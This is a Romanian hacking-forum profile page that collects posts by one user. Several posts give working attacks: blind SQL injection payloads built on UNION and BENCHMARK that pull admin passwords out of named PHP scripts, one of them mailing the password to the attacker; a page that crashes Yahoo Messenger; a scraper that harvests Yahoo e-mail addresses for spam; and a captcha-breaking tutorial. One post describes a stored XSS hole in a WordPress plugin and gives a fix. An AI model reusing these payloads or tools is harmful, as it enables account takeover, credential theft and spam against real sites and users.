Jump to content

vladiii

Active Members
  • Posts

    552
  • Joined

  • Last visited

Everything posted by vladiii

  1. Daca acela este Internet Explorer_Server... atunci se poate profita de toate vulnerabilitatile IE-ului (cu exceptia celor remote, evident). Nu am incercat, dar codul urmator (salvat in .html si uploadat undeva pe server) ar trebui sa crashuie Y!M: <style>#page div p:first-child:first-letter{border-bottom: 2px ridge;}</style><div id='page'><div> [b]a Marfa !
  2. - Necesita drept de admin. In /confirm.php: $SQL="SELECT `".DB_PREFIX."users`.*, `".DB_PREFIX."file_list`.`filename`, `".DB_PREFIX."file_list`.`descript` "; $SQL.=" FROM `".DB_PREFIX."file_list` LEFT JOIN `".DB_PREFIX."users` ON `".DB_PREFIX."file_list`.`user_id`=`".DB_PREFIX."users`.`id`"; $SQL.=" WHERE `".DB_PREFIX."file_list`.`id`='".$id."'"; if(!$mysql->query($SQL)) { exit($mysql->error); } if($mysql->num<=0) { exit("Record not found"); } Mai sus in cod avem: if(isset($_GET["folder"]) && $_GET["folder"]!="") { $folder=$_GET["folder"]; } else { exit("Bad Request"); } if(isset($_GET["id"]) && $_GET["id"]!="") { $id=$_GET["id"]; } else { exit("Bad Request"); } // Validate all inputs // Added by SepedaTua on June 01, 2006 - [url]http://www.sepedatua.info/[/url] /********************** SepedaTua ****************************/ /* Fields: $folder $id */ $search = array ('@<script[^>]*?>.*?</script>@si', '@<[\/\!]*?[^<>]*?>@si', '@([\r\n])[\s]+@', '@&(quot|#34);@i', '@&(amp|#38);@i', '@&(lt|#60);@i', '@&(gt|#62);@i', '@&(nbsp|#160);@i', '@&(iexcl|#161);@i', '@&(cent|#162);@i', '@&(pound|#163);@i', '@&(copy|#169);@i', '@(\d+);@e'); $replace = array ('', '', '\1', '"', '&', '<', '>', ' ', chr(161), chr(162), chr(163), chr(169), 'chr(\1)'); $ffolder = $folder; $fid = $id; $folder = preg_replace($search, $replace, $folder); $id = preg_replace($search, $replace, $id); Filtrarea este deci de 2 bani... Trecand peste asta, sa vedem tabela cu useri: Create table fstore_users ( id Integer(11) NOT NULL AUTO_INCREMENT, real_name Varchar(128) , company Varchar(128) , address1 Varchar(128) , address2 Varchar(128) , city Varchar(128) , state Varchar(128) , postcode Varchar(128) , country Varchar(128) , telephone Varchar(128) , login Varchar(64) , password Varchar(64) , email Varchar(128) , level Integer(11) , confirm Char(1) DEFAULT 'N' , allow_upload Char(1) DEFAULT 'N' , subscription char(1) default 'N' , Primary Key (id) ); In sintaxa SQL vom avea 19 coloane. *=17 + 1 + 1. Sintaxa va fi: ' UNION SELECT IF (SUBSTRING(password, 1, 1)='a', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from fstore_users where login='admin [url]http://site.xxx/confirm.php?folder=a&id=[/url][SQL] Partea frumoasa este ca parolele sunt tinute ca plain text in baza de date. Puteti downloada softul* de aici (versiunea trial, "full" costa 60$): [url]http://webscripts.softpedia.com/script/File-Management-Perl/-1-File-Store-PRO-45963.html[/url] *A aparut acum cateva zile, este nou. Necesita magic_quotes_gpc = off. Nu l-am contactat pe cel care se ocupa cu acest script. Nici la milw0rm nu am trimis. - Nu necesita drept de admin. In /download.php: if(!isset($_GET["sig"])) // direct download, no need to login $MustLogin=1|2|4; require_once("libs/header.php"); if(!isset($_GET["sig"])) // direct download, no need to login $userlevel=$CurUser->getlevel(); $SQL="SELECT * FROM `".DB_PREFIX."file_list` WHERE `id`='".$fileid."'"; if(!$mysql->query($SQL)) { exit($mysql->error); } $fileid este preluat prin $_GET si i se aplica aceeasi filtrare. Sintaxa: ' UNION SELECT IF (SUBSTRING(password, 1, 1)='b', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11 from fstore_users where login='admin [url]http://site.xxx/download.php?id=[/url][SQL] Bafta ! P.S. Scriptul este plin de blind sql injection !
  3. Incearca sa faci asa: <div style="width:100px" id="mndiv" onmouseover="this.innerHTML='text'" onmouseout="this.innerHTML='<img src=\'http://rstcenter.com/forum/templates/titanium_x/images/lang_english/reply.gif\'>'"> [img=http://rstcenter.com/forum/templates/titanium_x/images/lang_english/reply.gif] </div>
  4. In /cms/login.lib: $key = $_GET['key']; $user_email = $_GET['resetPasswd']; $password = rand(); $dbpassword = md5($password); $query = "SELECT * FROM `" . MYSQL_DATABASE_PREFIX . "users` WHERE `user_email`='" . $user_email . "'"; $result = mysql_query($query); Datorita .htaccess, linkul cu parametrul vulnerabil va fi: [url]http://site.xxx/home/+login&subaction=resetPasswd&key=asd&resetPasswd=[/url][SQL] [SQL1] = ' UNION SELECT IF (SUBSTRING(user_password, 1, 1)='a', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8 from pragyanV2_users where user_email='adresadeemail@mail.com [SQL2] = ' UNION SELECT IF (SUBSTRING(user_password, 1, 1)='a', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8 from pragyanV2_users where user_id='1 [SQL3] = ' UNION SELECT IF (SUBSTRING(user_password, 1, 1)='a', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8 from pragyanV2_users where user_name='admin [SQL 4 - versiune sysgh0st [inovatie !]] = ' UNION ALL SELECT 1,2,CONCAT('mail@mail.com;',(SELECT `user_password` FROM `pragyanv2_users` WHERE `user_id`=1),'@',(SELECT `user_name` FROM `pragyanv2_users` WHERE `user_id`=1),'.org'),4,5,6,7,8# Aceasta trimite parola pe email ! NOTA ! Sintaxa functioneaza doar daca magic_quotes_gpc sunt off in php.ini ! In .htaccess avem: ##Enable magic quotes in PHP, in case it is turned off in php.ini php_flag magic_quotes_gpc on Pe un apache acea comanda poate provoca eroare 500 (datorita php_flag) (sunt cazuri in care .htaccess este scos sau chiar sters) si userul (evident ! ) va elimina php_flag_blabla ! Deci conditiile finale ar fi magic_quotes_gpc = off. Bafta !
  5. vladiii

    vand.

    Astia sunt oamenii care duc greul spamului. Ei dau mereu clickuri <?php $pattern = "<a href=id[0-9]{0,10}_[a-zA-Z0-9_\.]{4,50}\.html target=_top>"; for ($i=1; $i<10; $i++) { $site = "http://yahooid.ro/browse.php?search=no&show=1&sex=0&varsta_min=&varsta_max=&localitate=&pag=".$i; $continut = file_get_contents($site); preg_match_all($pattern, $continut, $id, PREG_SET_ORDER); foreach ($id as $val) { $x = explode("_", $val[0]); $nr = count($x); $aux = ""; for ($j=1; $j<$nr; $j++) { $aux = $aux."_".$x[$j]; } $aux = str_replace(".html target=_top", "", $aux); $k=0; $aux2 = "a"; for($f=1; $f<strlen($aux); $f++) { $aux2[$k]=$aux[$f]; $k++; } echo $aux2."@yahoo.com "; } } ?> Nush daca exista vreo metoda mai buna de parsare.. P.S. Daca vreti, va fac eu scriptul + designul la (promotie!) 100euro. P.S.2. MostWanted, cum facusi rost de script ?
  6. Cand vrei sa scrii coduri din astea, dai asa: File -> New -> Source File. Ar trebui sa apara fereastra ms-dos.
  7. Private Sub Command1_Click() Dim final As String final = DateAdd("d", 15, CDate(Text1.Text)) MsgBox final End Sub Vezi ca data trebuie sa fie de forma: luna/zi/an !
  8. hehe, urmeaza o vara luuuunga ! welcome back !
  9. ^ Inclin sa cred ca in acest caz metoda care am folosit-o eu este cea mai buna. Nu avea rost sa ma complic pt. un captcha care nu este foarte greu de spart. Metoda aleasa de tine se foloseste si poate avea rezultate bune, insa in cazul unor captcha'uri mai complicate. Bafta !
  10. In acest tutorial vom invata sa spargem acest tip de captcha. In ce consta el ? - culoarea backgroundului este random - culoarea cifrelor este mereu aceeasi - pozitia cifrelor difera pe X - pozitia cifrelor ramane neschimbata pe Y Ce inseamna sa "spargem un captcha" ? Practic, trebuie sa afisam in format text cifrele din fiecare imagine (evident, sunt random). Sa vedem in continuare codul .php care genereaza imaginile: <?php header('Content-type: image/png'); $img = imagecreate(239, 25); $r = rand(1, 255); $g = rand(1, 255); $b = rand(1, 255); $l1 = rand(0, 4); $l2 = rand(0, 4); $l3 = rand(0, 4); $l4 = rand(0, 4); $l5 = rand(0, 4); $poz1 = rand(0, 48); $poz2 = $poz1 + rand(9, 48); $poz3 = $poz2 + rand(9, 48); $poz4 = $poz3 + rand(9, 48); $poz5 = $poz4 + rand(9, 48); $background = imagecolorallocate($img, $r, $g, $; $culoare = imagecolorallocate($img, 100, 100, 100); imagechar($img, 7, $poz1, 6, $l1, $culoare); imagechar($img, 7, $poz2, 6, $l2, $culoare); imagechar($img, 7, $poz3, 6, $l3, $culoare); imagechar($img, 7, $poz4, 6, $l4, $culoare); imagechar($img, 7, $poz5, 6, $l5, $culoare); imagepng($img); ?> 1) Background - alb, cifre - negru. Primul pas consta in eliminarea culorilor. Backgroundul imaginii va deveni alb, iar cifrele vor avea culoarea neagra. Sa vedem codul php: $img = imagecreatefrompng("http://site.com/captcha/cap1.png"); $alb = imagecolorallocate($img, 255, 255, 255); $negru = imagecolorallocate($img, 0, 0, 0); //Simplificarea imaginii //Background alb //Scris de culoare neagra for ($i=0; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixel = imagecolorat($img, $i, $j); $rgb = imagecolorsforindex($img, $pixel); if ($rgb['red']!=100 && $rgb['green']!=100 && $rgb['blue']!=100) { imagesetpixel($img, $i, $j, $alb); } else { imagesetpixel($img, $i, $j, $negru); } } } //Finished simplificare cap1.png reprezinta imaginea care urmeaza sa fie "sparta". Se observa din cod ca cifrele (care au r, g, b = 100) sunt setate la culoarea neagra, iar restul pixelilor la alb. Acum imaginea este alb-negru. 2) Gasire dreptunghiuri cifre. Cum am spus, cifrele sunt plasate random pe axa oX. Ideea este ca noi trebuie sa impartim imaginea initiala (cea mare/cap1.png) in 5 imagini mai mici, fiecare continand doar o cifra ! Un amanunt foarte important este ca fontul default folosit la functia imagechar() este monospaced (courier din cate stiu), iar orice cifra "scrisa" cu font size=7 poate fi incadrata intr-un dreptunghi de lungime 9. Deci spre exemplu, ca sa gasesc prima cifra, trebuie sa gasesc primul pixel de culoare neagra (cautarea pornind de la stanga la dreapta) si sa ii retin X'ul. Apoi extrag dreptunghiul de la X pana la X+8. Codul PHP: //Gasire dreptunghi prima cifra for ($i=0; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixel = imagecolorat($img, $i, $j); $rgb = imagecolorsforindex($img, $pixel); if ($rgb['red']==0 && $rgb['green']==0 && $rgb['blue']==0) { $istart = $i; $ifinal = $i+8; break 2; } } } //Gasire dreptunghi a 2-a cifra for ($i=$ifinal+1; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixel = imagecolorat($img, $i, $j); $rgb = imagecolorsforindex($img, $pixel); if ($rgb['red']==0 && $rgb['green']==0 && $rgb['blue']==0) { $iistart = $i; $iifinal = $i+8; break 2; } } } //Gasire dreptunghi a 3-a cifra for ($i=$iifinal+1; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixel = imagecolorat($img, $i, $j); $rgb = imagecolorsforindex($img, $pixel); if ($rgb['red']==0 && $rgb['green']==0 && $rgb['blue']==0) { $iiistart = $i; $iiifinal = $i+8; break 2; } } } //Gasire dreptunghi a 4-a cifra for ($i=$iiifinal+1; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixel = imagecolorat($img, $i, $j); $rgb = imagecolorsforindex($img, $pixel); if ($rgb['red']==0 && $rgb['green']==0 && $rgb['blue']==0) { $ivstart = $i; $ivfinal = $i+8; break 2; } } } //Gasire dreptunghi a 5-a cifra for ($i=$ivfinal+1; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixel = imagecolorat($img, $i, $j); $rgb = imagecolorsforindex($img, $pixel); if ($rgb['red']==0 && $rgb['green']==0 && $rgb['blue']==0) { $vstart = $i; $vfinal = $i+8; break 2; } } } //Finished gasire dreptunghiuri Am gasit ceea ce aveam nevoie (valorile sunt retinute in variabilele $istart, $iistart, $iiistart, $ivstart, $vstart). Acum trebuie sa dam crop la imaginea initiala pentru a extrage exact aceste cifre (pt. asta folosim functia imagecopyresampled -> http://www.php.net/manual/en/function.imagecopyresampled.php ): //Impartire in 5 imagini //Cropuire de la stanga la dreapta $img1=imagecreate(9, 25); $img2=imagecreate(9, 25); $img3=imagecreate(9, 25); $img4=imagecreate(9, 25); $img5=imagecreate(9, 25); imagecopyresampled ($img1, $img, 0, 0, $istart, 0,9, 25, 9, 25); imagecopyresampled ($img2, $img, 0, 0, $iistart, 0,9, 25, 9, 25); imagecopyresampled ($img3, $img, 0, 0, $iiistart, 0,9, 25, 9, 25); imagecopyresampled ($img4, $img, 0, 0, $ivstart, 0,9, 25, 9, 25); imagecopyresampled ($img5, $img, 0, 0, $vstart, 0,9, 25, 9, 25); //Finished cropuire de la stanga la dreapta Din ceea ce se vede mai sus, cifrele sunt salvate in imagini de 9x25. Sa le vedem: 3) Compararea imaginilor. Acum ca am obtinuit imaginile care contin cifrele (0, 1, 2, 3, 4), le salvam pe server pentru a face comparatii mai tarziu. Ca sa le putem folosi in scriptul php, trebuie sa folosim urmatorul cod: $cif[0] = imagecreatefrompng("cifre/0.png"); $cif[1] = imagecreatefrompng("cifre/1.png"); $cif[2] = imagecreatefrompng("cifre/2.png"); $cif[3] = imagecreatefrompng("cifre/3.png"); $cif[4] = imagecreatefrompng("cifre/4.png"); Ce ne mai ramane de facut ? Sa comparam pixelii lui $img1, $img2, $img3, $img4, $img5 cu fiecare dintre $cif[0], $cif[1], $cif[2], $cif[3], $cif[4], pe rand. Daca $img1 coincide cu $cif[2], atunci cifra corespunzatoare este 2. //Functie comparare imagini function comparare($imagine12, $cifra12) { $true = 0; for ($i=0; $i<239; $i++) { for ($j=0; $j<25; $j++) { $pixelx = imagecolorat($imagine12, $i, $j); $pixely = imagecolorat($cifra12, $i, $j); if ($pixelx != $pixely) { //Difera un pixel $true = 1; break 2; } } } return $true; } //End functie //Comparari imagini & stuff //Daca returneaza 0, imaginile sunt identice //Daca returneaza 1, imaginile sunt diferite //Si trecem sa comparam cu urmatoarea for ($x=0; $x<=4; $x++) { $value=comparare($img1, $cif[$x]); if ($value==0) { echo $x."\r\n"; break; } } for ($x=0; $x<=4; $x++) { $value=comparare($img2, $cif[$x]); if ($value==0) { echo $x."\r\n"; break; } } for ($x=0; $x<=4; $x++) { $value=comparare($img3, $cif[$x]); if ($value==0) { echo $x."\r\n"; break; } } for ($x=0; $x<=4; $x++) { $value=comparare($img4, $cif[$x]); if ($value==0) { echo $x."\r\n"; break; } } for ($x=0; $x<=4; $x++) { $value=comparare($img5, $cif[$x]); if ($value==0) { echo $x."\r\n"; break; } } Asta e tot. Ati reusit sa spargeti un captcha ! Felicitari
  11. Postasem mai demult un cod*: #!/usr/local/bin/perl -w require LWP::UserAgent; my $ua = LWP::UserAgent->new; $ua->timeout(10); $ua->env_proxy; open (MYFILE, '< proxy.txt'); while (<MYFILE>) { chomp; $proxy = "$_"; $ua->proxy(['http'],'http://$proxy'); $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5'); my $response = $ua->get('http://site.com'); if ($response->is_success) { if ($response =~/cuvant cheie/) { print "$proxy -> good\n"; } else { print "$proxy -> not good\n"; } } else { print "$proxy -> not good\n"; } } close (MYFILE); *netestat ! In proxy.txt sunt proxyurile (fiecare pe cate un rand), site.com trebuie inlocuit cu linkul vostru de la colectionarul si "cuvant cheie" cu un cuvant oarecare prezent in sursa paginii respective. Bafta !
  12. Deci este vorba la execute sau la compilare ? Ca nu am priceput. Daca te referi la prima varianta si nu iti merge Beep (e posibil, deoarece Beep genereaza sunetele folosind difuzorul din unitatea centrala, care poate fi stricat, ars, mai stiu eu ce...) atunci incearca sndPlaySound (care foloseste boxele, castile, etc.): #include <windows.h> int main() { sndPlaySound("C:\\pacpac.wav", SND_LOOP); return 0; } *Trebuie sa ai pacpac.wav salvat pe C:\. In plus, apasa Alt+P, selecteaza Parameters si adauga -lwinmm la Linker -> Ok. Ar trebui sa mearga.
  13. ^ Ma refeream ca pentru o imagine de 150x150 obtin 22500 pixeli, fiecare cu o anumita culoare. As fi putut compara si bit cu bit, insa mi s-a parut mai marfa pixel cu pixel. Plus de asta e mai educativ.
  14. Beep ? #include <windows.h> int main() { Beep(1000, 1000); return 0; }
  15. *Pe baza de imagine, insa "amprenta" sunt mai bine. Acesta e un cod PHP care permite autentificare pe un site web (admin panel & other shitz) folosind o imagine. Daca pixelii imaginii uploadate in acel moment corespund cu cei din baza de date, atunci se face autentificarea, altfel nu. Folderul trebuie sa aiba chmod777 (deoarece imaginea se uploadeaza, i se preiau culorile pixelilor, apoi se sterge). Nu este ceva extraordinar si iesit din comun, dar ma plictiseam aseara. Care ar fi avantajele ? In primul rand nu se poate ghici parola, deoarece la o imagine de 150x150 obtinem 22500 culori (8 caractere parca). Dezavantaje ? Nu stiu cat de fiabil este si partea care nu imi place mie este ca trebuie mereu uploadata imaginea. conexiune.php <?php $hostname="localhost"; $username="username"; $password="password"; $database="db"; $conexiune=mysql_connect($hostname, $username, $password) or die ("eroare !"); $bazadate=mysql_select_db($database, $conexiune) or die ("eroare !"); ?> Acum trebuie uploadata imaginea pe server, eu mi-am ales-o pe urmatoarea: Apoi cream tabela in BD: <?php include ("conexiune.php"); $delete="DROP TABLE IF EXISTS tabela"; mysql_query($delete, $conexiune); $table="CREATE TABLE tabela ( id int(3) NOT NULL AUTO_INCREMENT, culoare int(200) NOT NULL , PRIMARY KEY (id)) TYPE=MyISAM"; if(mysql_query($table)){ echo "Tabelul a fost creat "; } else{ echo "Tabelul nu a fost creat "; } ?> Urmeaza culoare.php, fisier care poate fi sters dupa ce este rulat o singura data (acesta preia culoarea pixelilor si o baga in bd): <?php include ("conexiune.php"); $im = imagecreatefromjpeg("imagine.jpg"); for($i=0; $i<150; $i++) { for($j=0; $j<150; $j++) { //Extragem culoarea si o introducem in BD $rgb = imagecolorat($im, $i, $j); $sql = "INSERT INTO tabela (culoare) VALUES ('".$rgb."')"; if(mysql_query($sql)) { echo "added"; } else { mysql_error(); } } } mysql_close($conexiune); ?> Si partea finala... index.php: <FORM ENCTYPE="multipart/form-data" ACTION="" METHOD=POST> Imagine: <INPUT NAME="file_up" TYPE="file"> <INPUT TYPE="submit" name="submit" VALUE="Upload"> </FORM> <?php include ("conexiune.php"); if($_POST['submit']) { $file_upload="true"; $file_up_size=$_FILES['file_up'][size]; if ($_FILES[file_up][size]>17000) { die("dimensiune prea mare"); $file_upload="false"; } //Lasam doar jpg/jpeg if (!($_FILES[file_up][type] =="image/jpeg")) { die ("nu e jpg/jpeg"); $file_upload="false"; } $file_name=$_FILES[file_up][name]; //Generam un nume pt. imagine $x[0]=rand(0, 10); $x[1]=rand(0, 10); $x[2]=rand(0, 10); $x[3]=rand(0, 10); $x[4]=rand(0, 10); $add="$x[0]$x[1]$x[2]$x[3]$x[4]$file_name"; if($file_upload=="true") { if (file_exists($add)) { die ("Fisierul ales exista deja pe server."); } else { if(move_uploaded_file ($_FILES[file_up][tmp_name], $add)) { $link=$add; $hand=imagecreatefromjpeg($add); //Preluam dimensiunile $x=imagesx($hand); $y=imagesy($hand); if ($x!= 150 || $y!=150) { unlink($link); die ("dimensiunile nu corespund"); } //Daca dimensiunile sunt cele bune... else { $count=0; for ($i=0; $i<150; $i++) { for ($j=0; $j<150; $j++) { $pixel[$count]=imagecolorat($hand, $i, $j); $count++; } } unlink($link); $count=0; $asd="true"; //Extragem din DB $sql="SELECT * FROM tabela"; $sql=mysql_query($sql); while($row=mysql_fetch_row($sql)) { if ($pixel[$count]!=$row[1]) { $asd="false"; } $count++; } if ($asd=="false") { echo "parola gresita !"; } else if($asd=="true") { echo "asta e parola!"; } else { die("eroare !"); } } } } } } mysql_close($conexiune); ?> Asta e tot. Daca descoperiti buguri postati-le aici. De mentionat ca nu merge pe IE, insa functioneaza pe Mozilla, Opera, Safari. Bafta !
  16. Folosim o adaptare a teoremei lui Euler in spatiu: m-n+l=2 (unde m=numarul de puncte din plan, n=numarul de arce care nu se intersecteaza, l=numarul de regiuni in care este impartit planul)(fiecare arc uneste 2 puncte oarecare si nu trece prin alte puncte). noi avem 6 puncte (3 rezervoare, 3 motoare), deci m=6. avem 9 arce (b1m1, m1m2, m2m3, m3b3, b3b2, b2b1, b1m2, m2b2, b2m3), deci numarul de regiuni este: 6-9+l=2 => l=5 regiuni (imaginati-va aceeasi chestie in spatiu, adica un poliedru cu 6 varfuri). Fiecare regiune este determinata de cel putin 4 arce (ex: b1b2, b2b3, b3m3, m3b1). deci vor trebui (5*4)/2=10 drumuri (deoarece, spre exemplu, arcul m1m2=arcul m2m1). cum noi avem doar 9 drumuri disponibile, iar pentru a rezolva problema e nevoie de cel putin 10 => imposibil ! *problema este clasica, numai ca in loc de rezervoare si motoare erau vecini si fantani.
  17. [url]http://stripgenerator.com[/url] Puteti sa va creati propriile comicuri foarte usor. Spre exemplu: http://prostu.stripgenerator.com Postati si voi ceea ce va iese ! Bafta.
  18. Un astfel de program se face foarte usor daca ai o lista de proxy'uri bune. Folosind socketi se face request la pagina si se verifica continutul (un split dupa un anumit cuvant cheie sau mai stiu eu ce). In VB vor fi setate RemoteHost si RemotePort cu ipul proxyului, respectiv portul: Winsock.RemoteHost="proxy" Winsock.RemotePort="port proxy" Insa ideea este ca noi ne conectam la o pagina web, deci in Winsock_connect ar trebui stabilit un http packet: pack="GET [url]http://site.com[/url] HTTP/1.1" & vbCrLf pack=pack & "Accept-Language: en-us" & vbCrLf pack=pack & "Connection: Keep-Alive" & vbCrLf & vbCrLf Winsock.SendData pack Apoi se verifica continutul in DataArrival. Metoda nu am testat-o, este doar o idee. De asemenea, s-ar mai putea folosi functiile din wininet.dll (InternetOpen, InternetConnect, blabla). S in perl ar fi destul de usor, folosind LWP:UserAgent. Example: #!/usr/local/bin/perl -w require LWP::UserAgent; my $ua = LWP::UserAgent->new; $ua->timeout(10); $ua->env_proxy; open (MYFILE, '< proxy.txt'); while (<MYFILE>) { chomp; $proxy = "$_"; $ua->proxy(['http'],'http://$proxy'); $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5'); my $response = $ua->get('http://site.com'); if ($response->is_success) { if ($response~=/cuvant cheie/) { print "$proxy -> good\n"; } else { print "$proxy -> not good\n"; } } else { print "$proxy -> not good\n"; } } close (MYFILE); *Nu am testat codul, mi-a fost lene sa imi fac cont pe bitefight/porcusorul & other shitz. Daca descoperiti buguri in el, lasati mesaj si incerc sa-l repar.
  19. Buna treaba SlicK, insa metoda care o folosesti tu am vazut ca limiteaza viteza. Mie nu mi-a luat niciodata cu mai mult de 20 kbs. O alta metoda ar fi urmatoarea: se face un request la fs[server].trilulilu.ro/stream.php?type=audio&hash=[hash]&username=[user]&key=[key] ! Hashul, usernameul si keyul se preiau din sursa paginii, spre exemplu: so.addVariable("userid", "Klain666"); so.addVariable("hash", "181e856072703d"); so.addVariable("server", "5"); so.addVariable("key", "7ffb3e072293631eff58365cd9a7c075ffb46366"); so.addVariable("generationDate", "Apr 03 2008 08:55:04"); Keyul (dupa cum tu mi-ai zis) e criptat in sha1 si se genereaza in functie de ora/minut/secunda. Cand se acceseaza pagina cu melodia, keyul expira. Asa ca am facut un script care il preia din pagina si astfel el nu mai expira: <form action="?" method="post"> <input type="text" name="link"> <input type="submit" value="Submit"> </form> <?php if (!empty($_POST['link'])) { /* $link=$_POST['link']; $handle=fopen($link, "rb"); $content = ''; while (!feof($handle)) { $content .= fread($handle, 8192); } fclose($handle); */ $content = file_get_contents($_POST['link']); //userid $aux1=explode("so.addVariable(\"userid\", \"", $content); $aux2=explode("\"", $aux1[1]); $userid=$aux2[0]; //hash $aux3=explode("so.addVariable(\"hash\", \"", $content); $aux4=explode("\"", $aux3[1]); $hash=$aux4[0]; //server $aux5=explode("so.addVariable(\"server\", \"", $content); $aux6=explode("\"", $aux5[1]); $server=$aux6[0]; //key $aux7=explode("so.addVariable(\"key\", \"", $content); $aux8=explode("\"", $aux7[1]); $key=$aux8[0]; echo "fs$server.trilulilu.ro/stream.php?type=audio&hash=$hash&username=$userid&key=$key"; } ?> Nu am pus filtre, este doar o dovada ca merge. Apoi acceasi linkul care il returneaza si o sa downlaodati stream.mp3 ! Care este exact melodia. La fel si la filmulete, numai ca in loc de ?type=audio puneti ?type=video. Bafta ! Gg :wink:
  20. 32767 este limita unui integer, iar eu am setat variabilele integer, ca dobitocul ! Deci asta ramane scorul maxim admis.
  21. Un alt tip de challenge, incercati sa faceti un scor cat mai mare la urmatorul joc: [url]http://rapidshare.com/files/102705324/scoreme.exe.html[/url] Scorul maxim admis este 99999999. Puteti trisa, evident. Ce trebuie sa faceti este sa dai click pe lupa aia din centru de cat mai multe ori timp de 20 secunde. Bafta ! [astept print screenuri cu scorul si un nr. mare de participanti ca e foarte usor !].
  22. Acum a activat pluginul din nou, folosind fix'ul de aici. De data asta nici macar "merci" nu a zis
  23. Plugin vulnerabil: [url]http://www.raproject.com/ajax-edit-comments/media/[/url] 1) Vulnerabilitatea Wordpress de obicei pune un strip_tags la continutul comentariului (in wp-comments-post.php, avand ceva de genul: $comment_content = trim(strip_tags($_POST['comment'])); ). De aceea nu puteti insera coduri javascript & stuff. Insa daca acest plugin este activat, puteti edita comentariul. Adica puteti insera si javascript (fara ca acesta sa fie filtrat). Acest js ramane in codul sursa al paginii (permanent js injection). Poate fi introdus orice JS !!! 2) Fix O modalitate de a rezolva aceasta problema ar fi urmatoarea: deshideti fisierul wp-ajax-edit-comments.php cu wordpad, dati File->Save apoi deschideti cu notepad. (daca deschideti de la inceput cu notepad, textul se va vedea obfuscat). Duceti-va la linie 557, unde aveti: $content = apply_filters('comment_save_pre', $savecontent); ! Dati un enter si scrieti pe linia urmatoare: $content=htmlentities($content); Cam asta este tot. Thnx to Shocker & SlicK. P.S. Multi, foarte multi bloggeri din Romania au avut/inca mai au activat pluginul acesta. Bafta !
×
×
  • Create New...